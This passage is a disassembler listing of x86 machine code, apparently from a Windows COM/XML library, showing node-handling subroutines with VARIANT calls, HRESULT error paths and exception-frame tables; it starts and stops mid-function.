loc_69B492E0:				; CODE XREF: sub_69B4928E+38j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		mov	eax, [esi]
		mov	ecx, esi
		jz	short loc_69B4930A
		jmp	short loc_69B492D6
; ---------------------------------------------------------------------------


loc_69B492F4:				; CODE XREF: sub_69B4928E+84j
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+100h]
		push	eax
		mov	ecx, esi
		call	sub_69B4843A
		mov	eax, [esi]
		mov	ecx, esi


loc_69B4930A:				; CODE XREF: sub_69B4928E+62j
		call	dword ptr [eax+108h]
		test	eax, eax
		jnz	short loc_69B492F4


loc_69B49314:				; CODE XREF: sub_69B4928E+30j
					; sub_69B4928E+3Dj ...
		push	0
		add	esi, 14h
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B4928E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49321	proc near		; CODE XREF: sub_69B49321+30p
					; sub_69B49504+91p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		movzx	eax, byte ptr [ebp+arg_0]
		shl	eax, 1Dh
		push	esi
		mov	esi, ecx
		xor	eax, [esi+8]
		and	eax, 20000000h
		xor	[esi+8], eax
		cmp	[ebp+arg_4], 0
		jz	short loc_69B49365
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_69B48DC1
		jmp	short loc_69B49361
; ---------------------------------------------------------------------------


loc_69B4934A:				; CODE XREF: sub_69B49321+42j
		push	1
		push	[ebp+arg_0]
		mov	ecx, eax
		call	sub_69B49321
		lea	eax, [ebp+arg_4]
		push	eax
		mov	ecx, esi
		call	sub_69B47D9F


loc_69B49361:				; CODE XREF: sub_69B49321+27j
		test	eax, eax
		jnz	short loc_69B4934A


loc_69B49365:				; CODE XREF: sub_69B49321+1Cj
		pop	esi
		pop	ebp
		retn	8
sub_69B49321	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4936A	proc near		; CODE XREF: sub_69B14EAC+178p
					; sub_69B4AF3F+14Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		xor	edi, edi
		call	dword ptr [eax+38h]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		mov	[ebp+var_4], eax
		jnz	short loc_69B49390
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0F4h]
		mov	ecx, eax


loc_69B49390:				; CODE XREF: sub_69B4936A+18j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		mov	ebx, [ebp+arg_4]
		jnz	short loc_69B493AE
		test	ecx, ecx
		jz	short loc_69B493BE
		test	byte ptr [ecx+0Bh], 1Fh
		jnz	short loc_69B493BE
		push	ebx
		call	sub_69B48E56
		test	eax, eax
		jz	short loc_69B493BE


loc_69B493AE:				; CODE XREF: sub_69B4936A+2Ej
		push	[ebp+var_4]
		mov	ecx, eax
		call	sub_69B8C678
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B493E5


loc_69B493BE:				; CODE XREF: sub_69B4936A+32j
					; sub_69B4936A+38j ...
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B493E5
		test	ebx, ebx
		jnz	short loc_69B493D9
		mov	ecx, [esi+0Ch]
		call	sub_69B3DABE
		mov	ebx, eax


loc_69B493D9:				; CODE XREF: sub_69B4936A+63j
		push	[ebp+var_4]
		mov	ecx, ebx
		call	sub_69B8B114
		mov	edi, eax


loc_69B493E5:				; CODE XREF: sub_69B4936A+52j
					; sub_69B4936A+5Fj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B4936A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B493EE	proc near		; DATA XREF: .text:69B1DDD0o
		push	24h
		push	offset dword_69B494F8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	eax, [ebp+8]
		shl	eax, 4
		xor	eax, [esi+8]
		and	eax, 3F0h
		xor	[esi+8], eax
		mov	eax, [esi+8]
		cmp	dword ptr [ebp+8], 0Ch
		jge	short loc_69B49452
		shr	eax, 11h
		test	al, 1
		jz	short loc_69B49435
		lea	edi, [esi+14h]
		mov	ecx, [edi]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		push	eax
		push	edi
		call	sub_69B17320
		and	byte ptr [esi+0Ah], 0FDh


loc_69B49435:				; CODE XREF: sub_69B493EE+30j
		cmp	dword ptr [ebp+8], 0
		setnz	al
		movzx	eax, al
		shl	eax, 0Eh
		xor	eax, [esi+8]
		and	eax, 4000h
		xor	[esi+8], eax
		jmp	loc_69B494EE
; ---------------------------------------------------------------------------


loc_69B49452:				; CODE XREF: sub_69B493EE+29j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	[ebp-20h], eax
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+8]
		shr	eax, 11h
		test	al, 1
		jnz	short loc_69B49475
		push	0
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320


loc_69B49475:				; CODE XREF: sub_69B493EE+7Aj
		lea	edi, [esi+14h]
		mov	eax, [edi]
		mov	[ebp-24h], eax
		test	eax, eax
		jnz	short loc_69B494D8
		mov	eax, [esi+0Ch]
		mov	[ebp-28h], eax
		mov	ecx, [eax+50h]
		mov	[ebp-2Ch], ecx
		mov	[ebp-30h], eax
		push	ecx
		push	eax
		push	dword ptr [ebp-20h]
		push	10h
		call	sub_69B1BE7F
		mov	[ebp-34h], eax
		mov	word ptr [eax+8], 1
		push	eax
		push	edi
		call	sub_69B17320
		jmp	short loc_69B494D8
; ---------------------------------------------------------------------------


loc_69B494AE:				; DATA XREF: .text:69B494FCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B494B7:				; DATA XREF: .text:69B49500o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	eax, [esi+8]
		shr	eax, 11h
		test	al, 1
		jnz	short loc_69B494D3
		push	dword ptr [ebp-20h]
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320


loc_69B494D3:				; CODE XREF: sub_69B493EE+D7j
		call	sub_69B2E860


loc_69B494D8:				; CODE XREF: sub_69B493EE+91j
					; sub_69B493EE+BEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		or	dword ptr [esi+8], 24000h
		push	dword ptr [ebp+0Ch]
		mov	ecx, [esi+14h]
		call	sub_69B48ED5


loc_69B494EE:				; CODE XREF: sub_69B493EE+5Fj
		call	sub_69B1853C
		retn	8
sub_69B493EE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B494F8	dd 0FFFFFFFFh			dd offset loc_69B494AE
		dd offset loc_69B494B7

; =============== S U B	R O U T	I N E =======================================



sub_69B49504	proc near		; CODE XREF: sub_69B49219+60p
					; sub_69B498EF+33p ...
		push	24h
		push	offset dword_69B495E0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+118h]
		test	al, al
		jz	loc_69B495D5
		mov	ecx, [esi+0Ch]
		call	sub_69B3D200
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		mov	ecx, ebx
		call	sub_69B2E22D
		xor	edi, edi
		mov	[ebp-4], edi
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B495AC
		mov	ecx, esi
		call	sub_69B1B42A
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B11D3B
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		mov	[ebp-2Ch], eax
		mov	eax, [esi+0Ch]
		mov	[ebp-30h], eax
		push	ebx
		push	eax
		push	edi
		push	edi
		push	dword ptr [ebp-2Ch]
		push	edi
		push	edi
		push	1
		call	sub_69B49219
		mov	edi, eax
		mov	[ebp-34h], edi
		or	byte ptr [edi+0Ah], 1
		push	1
		mov	eax, [esi+8]
		shr	eax, 1Dh
		and	eax, 0FFFFFF01h
		push	eax
		mov	ecx, edi
		call	sub_69B49321
		push	edi
		mov	ecx, esi
		call	sub_69B483A4
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		jmp	short loc_69B495AF
; ---------------------------------------------------------------------------


loc_69B495AC:				; CODE XREF: sub_69B49504+43j
		mov	[ebp-2Ch], edi


loc_69B495AF:				; CODE XREF: sub_69B49504+A6j
		mov	ecx, ebx
		call	sub_69B2E238
		jmp	short loc_69B495D1
; ---------------------------------------------------------------------------


loc_69B495B8:				; DATA XREF: .text:69B495E4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B495C1:				; DATA XREF: .text:69B495E8o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-1Ch]
		call	sub_69B2E238
		call	sub_69B2E860


loc_69B495D1:				; CODE XREF: sub_69B49504+B2j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B495D5:				; CODE XREF: sub_69B49504+18j
		call	sub_69B1853C
		retn
sub_69B49504	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B495E0	dd 0FFFFFFFFh			dd offset loc_69B495B8
		dd offset loc_69B495C1

; =============== S U B	R O U T	I N E =======================================



sub_69B495EC	proc near		; CODE XREF: sub_69B495EC+A0p
					; sub_69B497AC+Ap
		push	30h
		push	offset dword_69B497A0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	edi, [ebp+8]
		push	dword ptr [edi+8]
		push	dword ptr [edi+4]
		push	0
		push	1
		call	sub_69B1BE7F
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jnz	short loc_69B4961F
		push	8007000Eh
		call	sub_69B2E8B8


loc_69B4961F:				; CODE XREF: sub_69B495EC+27j
		mov	ecx, [esi+8]
		mov	[ebx+8], ecx
		mov	al, [esi+0Bh]
		and	al, 1Fh
		cmp	al, 3
		jz	short loc_69B49638
		cmp	byte ptr [edi+0Ch], 0
		jnz	short loc_69B49638
		mov	al, 1
		jmp	short loc_69B4963A
; ---------------------------------------------------------------------------


loc_69B49638:				; CODE XREF: sub_69B495EC+40j
					; sub_69B495EC+46j
		xor	al, al


loc_69B4963A:				; CODE XREF: sub_69B495EC+4Aj
		and	eax, 1
		or	eax, 40h
		shl	eax, 0Ah
		and	ecx, 0FFFFFBFFh
		or	eax, ecx
		mov	[ebx+8], eax
		movzx	ecx, byte ptr [edi]
		shl	ecx, 1Dh
		xor	ecx, eax
		and	ecx, 20000000h
		xor	ecx, eax
		mov	[ebx+8], ecx
		mov	eax, [esi+8]
		mov	ecx, eax
		and	ecx, 1F000000h
		cmp	ecx, 3000000h
		jnz	short loc_69B49681
		mov	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+14h]
		jmp	loc_69B49790
; ---------------------------------------------------------------------------


loc_69B49681:				; CODE XREF: sub_69B495EC+86j
		shr	eax, 11h
		test	al, 1
		jz	short loc_69B496A0
		mov	ecx, [esi+14h]
		push	edi
		call	sub_69B495EC
		push	eax
		lea	eax, [ebx+14h]
		push	eax
		call	sub_69B17320
		jmp	loc_69B49790
; ---------------------------------------------------------------------------


loc_69B496A0:				; CODE XREF: sub_69B495EC+9Aj
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_69B496C4
		mov	edx, [esi+0Ch]
		mov	ecx, [edi+4]
		cmp	ecx, edx
		jz	short loc_69B496BA
		mov	ecx, [ecx+70h]
		push	eax
		call	sub_69B48821


loc_69B496BA:				; CODE XREF: sub_69B495EC+C3j
		push	eax
		lea	eax, [ebx+14h]
		push	eax
		call	sub_69B17320


loc_69B496C4:				; CODE XREF: sub_69B495EC+B9j
		mov	eax, [esi+8]
		shr	eax, 12h
		and	eax, 3
		dec	eax
		jz	short loc_69B49721
		dec	eax
		jz	short loc_69B496FE
		dec	eax
		jnz	loc_69B49790
		cmp	byte ptr [edi+14h], 0
		jnz	loc_69B49790
		mov	edi, [ebx]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+11Ch]
		push	eax
		mov	ecx, ebx
		call	dword ptr [edi+120h]
		jmp	loc_69B49790
; ---------------------------------------------------------------------------


loc_69B496FE:				; CODE XREF: sub_69B495EC+E5j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		cmp	byte ptr [edi+14h], 0
		jz	short loc_69B49714
		push	eax
		call	sub_69B2F0C4


loc_69B49714:				; CODE XREF: sub_69B495EC+120j
		mov	edx, [ebx]
		push	eax
		mov	ecx, ebx
		call	dword ptr [edx+114h]
		jmp	short loc_69B49790
; ---------------------------------------------------------------------------


loc_69B49721:				; CODE XREF: sub_69B495EC+E2j
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-2Ch]
		push	eax		; pvarg
		mov	edi, VariantInit
		call	edi ; VariantInit
		lea	eax, [ebp-3Ch]
		push	eax		; pvarg
		call	edi ; VariantInit
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B48571
		lea	eax, [ebp-2Ch]
		push	eax		; pvargSrc
		lea	eax, [ebp-3Ch]
		push	eax		; pvargDest
		call	VariantCopy
		mov	[ebp-40h], eax
		test	eax, eax
		jz	short loc_69B4975D
		push	eax
		call	sub_69B2E8B8


loc_69B4975D:				; CODE XREF: sub_69B495EC+169j
		lea	eax, [ebp-3Ch]
		push	eax
		mov	ecx, ebx
		call	sub_69B48ED5
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B49790
; ---------------------------------------------------------------------------


loc_69B4976E:				; DATA XREF: .text:69B497A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B49777:				; DATA XREF: .text:69B497A8o
		mov	esp, [ebp-18h]
		lea	eax, [ebp-3Ch]
		push	eax		; pvarg
		call	VariantClear
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]


loc_69B49790:				; CODE XREF: sub_69B495EC+90j
					; sub_69B495EC+AFj ...
		mov	eax, ebx
		call	sub_69B1853C
		retn	4
sub_69B495EC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B497A0	dd 0FFFFFFFFh			dd offset loc_69B4976E
		dd offset loc_69B49777

; =============== S U B	R O U T	I N E =======================================



sub_69B497AC	proc near		; CODE XREF: sub_69B3D586+2Dp
					; sub_69B3F90C+1CBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_69B495EC
		mov	edi, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B497F9
		cmp	byte ptr [esp+0Ch+arg_0], 0
		jz	short loc_69B4980E
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+110h]
		test	eax, eax
		jz	short loc_69B4980E
		cmp	byte ptr [ebx+14h], 0
		jz	short loc_69B497EC
		push	eax
		call	sub_69B2F0C4


loc_69B497EC:				; CODE XREF: sub_69B497AC+38j
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx+114h]
		jmp	short loc_69B4980E
; ---------------------------------------------------------------------------


loc_69B497F9:				; CODE XREF: sub_69B497AC+1Dj
		test	byte ptr [edi+0Ah], 0Ch
		jnz	short loc_69B4980E
		push	ebx
		push	edi
		push	1
		push	[esp+18h+arg_0]
		mov	ecx, esi
		call	sub_69B49816


loc_69B4980E:				; CODE XREF: sub_69B497AC+24j
					; sub_69B497AC+32j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B497AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49816	proc near		; CODE XREF: sub_69B3F90C+1C2p
					; sub_69B3F90C+209p ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	edi, [ebp+arg_C]
		cmp	byte ptr [edi+0Ch], 0
		mov	ebx, ecx
		mov	[ebp+var_4], ebx
		jz	short loc_69B49839
		mov	eax, [ebx+8]
		shr	eax, 14h
		test	al, 1
		mov	byte ptr [ebp+arg_C+3],	1
		jz	short loc_69B4983D


loc_69B49839:				; CODE XREF: sub_69B49816+13j
		mov	byte ptr [ebp+arg_C+3],	0


loc_69B4983D:				; CODE XREF: sub_69B49816+21j
		cmp	ebx, [edi+10h]
		jnz	short loc_69B49848
		mov	eax, [ebp+arg_8]
		mov	[edi+10h], eax


loc_69B49848:				; CODE XREF: sub_69B49816+2Aj
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, ebx
		call	sub_69B48DC1
		test	eax, eax
		jz	loc_69B498E9
		push	esi


loc_69B4985C:				; CODE XREF: sub_69B49816+CCj
		mov	edx, [eax+8]
		shr	edx, 14h
		and	dl, 1
		jz	short loc_69B4986D
		cmp	[ebp+arg_4], 0
		jnz	short loc_69B49873


loc_69B4986D:				; CODE XREF: sub_69B49816+4Fj
		cmp	[ebp+arg_0], 0
		jz	short loc_69B498D5


loc_69B49873:				; CODE XREF: sub_69B49816+55j
		test	dl, dl
		jnz	short loc_69B49880
		cmp	[ebp+arg_0], dl
		jnz	short loc_69B49880
		xor	cl, cl
		jmp	short loc_69B49884
; ---------------------------------------------------------------------------


loc_69B49880:				; CODE XREF: sub_69B49816+5Fj
					; sub_69B49816+64j
		xor	ecx, ecx
		mov	cl, 1


loc_69B49884:				; CODE XREF: sub_69B49816+68j
		push	edi
		push	ecx
		mov	ecx, eax
		call	sub_69B497AC
		mov	ecx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		call	sub_69B483A4
		cmp	byte ptr [ebp+arg_C+3],	0
		jz	short loc_69B498D5
		mov	eax, [esi+8]
		mov	ecx, eax
		shr	ecx, 14h
		test	cl, 1
		jz	short loc_69B498D5
		shr	eax, 0Fh
		test	al, 1
		jz	short loc_69B498D5
		mov	ecx, [edi+4]
		call	sub_69B3DABE
		push	0
		push	0
		mov	ecx, esi
		mov	ebx, eax
		call	sub_69B4AD10
		push	[ebp+arg_8]
		mov	ecx, ebx
		push	eax
		call	sub_69B8B57E
		mov	ebx, [ebp+var_4]


loc_69B498D5:				; CODE XREF: sub_69B49816+5Bj
					; sub_69B49816+86j ...
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, ebx
		call	sub_69B47D9F
		test	eax, eax
		jnz	loc_69B4985C
		pop	esi


loc_69B498E9:				; CODE XREF: sub_69B49816+3Fj
		pop	edi
		pop	ebx
		leave
		retn	10h
sub_69B49816	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B498EF	proc near		; CODE XREF: sub_69B49BB6+3Ep
		push	28h
		push	offset dword_69B499A0
		call	sub_69B19C5C
		mov	esi, ecx
		mov	edi, [esi+0Ch]
		call	sub_69B486D2
		mov	ebx, eax
		mov	[ebp-1Ch], ebx
		test	ebx, ebx
		jz	loc_69B49998
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B49927
		mov	ecx, ebx
		call	sub_69B49504


loc_69B49927:				; CODE XREF: sub_69B498EF+2Fj
		mov	ecx, edi
		call	sub_69B3D200
		mov	ebx, eax
		mov	[ebp-20h], ebx
		mov	ecx, ebx
		call	sub_69B2E22D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jnz	short loc_69B49998
		mov	[ebp-4], eax
		mov	byte ptr [ebp-38h], 1
		mov	[ebp-34h], edi
		mov	[ebp-30h], ebx
		mov	[ebp-2Ch], al
		mov	[ebp-28h], eax
		mov	[ebp-24h], al
		lea	ecx, [ebp-38h]
		push	ecx
		push	esi
		push	eax
		push	1
		mov	ecx, [ebp-1Ch]
		call	sub_69B49816
		or	byte ptr [esi+9], 20h
		mov	ecx, ebx
		call	sub_69B2E238
		jmp	short loc_69B49994
; ---------------------------------------------------------------------------


loc_69B4997B:				; DATA XREF: .text:69B499A4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B49984:				; DATA XREF: .text:69B499A8o
		mov	esp, [ebp-18h]
		mov	ecx, [ebp-20h]
		call	sub_69B2E238
		call	sub_69B2E860


loc_69B49994:				; CODE XREF: sub_69B498EF+8Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B49998:				; CODE XREF: sub_69B498EF+1Dj
					; sub_69B498EF+57j
		call	sub_69B1853C
		retn
sub_69B498EF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B499A0	dd 0FFFFFFFFh			dd offset loc_69B4997B
		dd offset loc_69B49984

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B499AC	proc near		; CODE XREF: sub_69B3D2F2+96p
					; sub_69B4A3AE+125p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ah], 0Ch
		push	edi
		jz	short loc_69B499C5
		push	8000FFFFh
		call	sub_69B2E8B8


loc_69B499C5:				; CODE XREF: sub_69B499AC+Dj
		mov	edi, [ebp+arg_0]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		test	eax, eax
		jz	short loc_69B499E8
		mov	eax, [edi]
		push	edi
		mov	ecx, edi
		call	dword ptr [eax+0F4h]
		mov	ecx, eax
		call	sub_69B4843A


loc_69B499E8:				; CODE XREF: sub_69B499AC+28j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B499FD
		mov	ecx, esi
		call	sub_69B49504


loc_69B499FD:				; CODE XREF: sub_69B499AC+48j
		mov	eax, [edi+8]
		shr	eax, 14h
		test	al, 1
		mov	eax, [esi]
		mov	ecx, esi
		jz	loc_69B49AC6
		call	dword ptr [eax+108h]
		test	eax, eax
		mov	eax, [esi]
		mov	ecx, esi
		jnz	short loc_69B49A34
		push	edi
		call	dword ptr [eax+10Ch]
		mov	eax, [edi]
		push	edi
		mov	ecx, edi
		call	dword ptr [eax+104h]
		jmp	loc_69B49B83
; ---------------------------------------------------------------------------


loc_69B49A34:				; CODE XREF: sub_69B499AC+6Fj
		call	dword ptr [eax+108h]
		mov	edx, [eax]
		mov	ebx, eax
		mov	ecx, eax
		mov	[ebp+arg_0], eax
		mov	[ebp+arg_4], ebx
		call	dword ptr [edx+100h]
		jmp	short loc_69B49A6C
; ---------------------------------------------------------------------------


loc_69B49A4E:				; CODE XREF: sub_69B499AC+C8j
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+100h]
		mov	ebx, eax
		cmp	ebx, [ebp+arg_0]
		mov	[ebp+arg_4], ebx
		jz	short loc_69B49A76
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+100h]


loc_69B49A6C:				; CODE XREF: sub_69B499AC+A0j
		mov	eax, [eax+8]
		shr	eax, 14h
		test	al, 1
		jnz	short loc_69B49A4E


loc_69B49A76:				; CODE XREF: sub_69B499AC+B4j
		mov	eax, [edi]
		mov	edx, [ebx]
		mov	ecx, ebx
		mov	[ebp+var_4], eax
		call	dword ptr [edx+100h]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, edi
		call	dword ptr [eax+104h]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax+104h]
		cmp	[ebp+arg_0], ebx
		jnz	loc_69B49B83
		mov	eax, [ebx+8]
		shr	eax, 14h
		test	al, 1
		jz	loc_69B49B83
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+10Ch]
		jmp	loc_69B49B83
; ---------------------------------------------------------------------------


loc_69B49AC6:				; CODE XREF: sub_69B499AC+5Dj
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	loc_69B49BA7
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	loc_69B49BA7
		mov	al, [eax+0Bh]
		and	al, 1Fh
		cmp	al, 0Fh
		jnz	short loc_69B49AF2
		push	80070057h
		call	sub_69B2E8B8


loc_69B49AF2:				; CODE XREF: sub_69B499AC+13Aj
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		mov	ebx, eax
		jmp	short loc_69B49B2E
; ---------------------------------------------------------------------------


loc_69B49B00:				; CODE XREF: sub_69B499AC+18Fj
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+100h]
		mov	ebx, eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		cmp	ebx, eax
		jnz	short loc_69B49B2E
		push	0
		push	0C00CE206h
		push	80070057h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B49B2E:				; CODE XREF: sub_69B499AC+152j
					; sub_69B499AC+16Cj
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+100h]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_69B49B00
		push	[ebp+arg_4]
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+104h]
		mov	eax, [ebx]
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax+104h]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+100h]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_69B49B83
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+104h]


loc_69B49B83:				; CODE XREF: sub_69B499AC+83j
					; sub_69B499AC+F6j ...
		mov	eax, [esi+8]
		shr	eax, 0Ah
		movzx	eax, al
		shl	eax, 0Ah
		xor	eax, [edi+8]
		push	esi
		and	eax, 400h
		xor	[edi+8], eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0FCh]
		jmp	short loc_69B49BAF
; ---------------------------------------------------------------------------


loc_69B49BA7:				; CODE XREF: sub_69B499AC+122j
					; sub_69B499AC+12Dj
		push	edi
		mov	ecx, esi
		call	sub_69B483A4


loc_69B49BAF:				; CODE XREF: sub_69B499AC+1F9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B499AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B49BB6	proc near		; CODE XREF: sub_69B49C1F+1Cp
					; sub_69B49CDF+1Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		xor	eax, eax
		test	byte ptr [esi+0Ah], 0Ch
		jnz	short loc_69B49C1B
		mov	eax, [esi]
		call	dword ptr [eax+118h]
		test	al, al
		jz	short loc_69B49BD6
		mov	ecx, esi
		call	sub_69B49504
		jmp	short loc_69B49BF9
; ---------------------------------------------------------------------------


loc_69B49BD6:				; CODE XREF: sub_69B49BB6+15j
		mov	eax, [esi+8]
		mov	ecx, eax
		and	ecx, 1F000000h
		cmp	ecx, 0B000000h
		jnz	short loc_69B49BF9
		shr	eax, 0Dh
		not	al
		test	al, 1
		jz	short loc_69B49BF9
		mov	ecx, esi
		call	sub_69B498EF


loc_69B49BF9:				; CODE XREF: sub_69B49BB6+1Ej
					; sub_69B49BB6+31j ...
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+108h]
		test	eax, eax
		jz	short loc_69B49C1B
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+100h]
		test	eax, eax
		jz	short loc_69B49C1B
		mov	ecx, [esp+4+arg_0]
		mov	[ecx], eax


loc_69B49C1B:				; CODE XREF: sub_69B49BB6+9j
					; sub_69B49BB6+4Fj ...
		pop	esi
		retn	4
sub_69B49BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B49C1F	proc near		; CODE XREF: sub_69B3D6C4+8p
					; sub_69B3D6D2+25p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	edi
		xor	edi, edi
		call	dword ptr [eax+118h]
		test	al, al
		jnz	short loc_69B49C7A
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_69B49BB6
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B49C7A


loc_69B49C46:				; CODE XREF: sub_69B49C1F+55j
		cmp	[ebp+arg_0], 0
		jz	short loc_69B49C58
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+38h]
		cmp	[ebp+arg_0], eax
		jnz	short loc_69B49C65


loc_69B49C58:				; CODE XREF: sub_69B49C1F+2Bj
		xor	eax, eax
		mov	al, [edi+0Bh]
		and	eax, 1Fh
		cmp	eax, [ebp+arg_4]
		jz	short loc_69B49C76


loc_69B49C65:				; CODE XREF: sub_69B49C1F+37j
		lea	eax, [ebp+var_4]
